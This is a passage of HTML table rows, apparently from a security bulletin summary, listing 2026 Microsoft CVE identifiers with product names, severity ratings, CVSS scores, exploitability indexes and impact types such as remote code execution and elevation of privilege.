  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
